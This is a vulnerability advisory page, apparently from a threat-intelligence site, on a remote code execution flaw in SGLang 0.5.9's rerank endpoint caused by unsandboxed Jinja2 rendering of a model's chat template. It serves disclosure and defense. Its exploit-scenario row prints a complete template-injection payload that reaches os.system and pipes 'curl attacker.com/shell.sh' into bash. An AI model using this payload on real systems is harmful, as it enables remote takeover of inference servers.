EUVD-2026-23860
GHSA-2wm4-697g-pfq8
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
5DescriptionCVE.org
SGLang's reranking endpoint (/v1/rerank) achieves Remote Code Execution (RCE) when a model file containing a malcious tokenizer.chat_template is loaded, as the Jinja2 chat templates are rendered using an unsandboxed jinja2.Environment().
AnalysisAI
Remote code execution in SGLang 0.5.9's /v1/rerank endpoint allows unauthenticated attackers to execute arbitrary code by loading specially crafted model files with malicious Jinja2 templates. The vulnerability stems from unsandboxed rendering of tokenizer.chat_template fields, enabling template injection attacks. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the target SGLang 0.5.9 instance to load and process a model file containing attacker-controlled tokenizer.chat_template data. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This vulnerability represents CRITICAL real-world risk requiring immediate attention. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker identifies an internet-exposed SGLang 0.5.9 instance accepting model uploads or configured to fetch models from public repositories. The attacker crafts a malicious model file with a tokenizer.chat_template containing Jinja2 template injection payload such as {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].system('curl attacker.com/shell.sh|bash')}}. … |
| Remediation | Upgrade SGLang to a patched version that implements sandboxed Jinja2 template rendering using jinja2.sandbox.SandboxedEnvironment instead of the unsecured jinja2.Environment. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all SGLang deployments using versions ≤0.5.9 and assess exposure to untrusted model sources; isolate affected instances from production traffic if possible. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today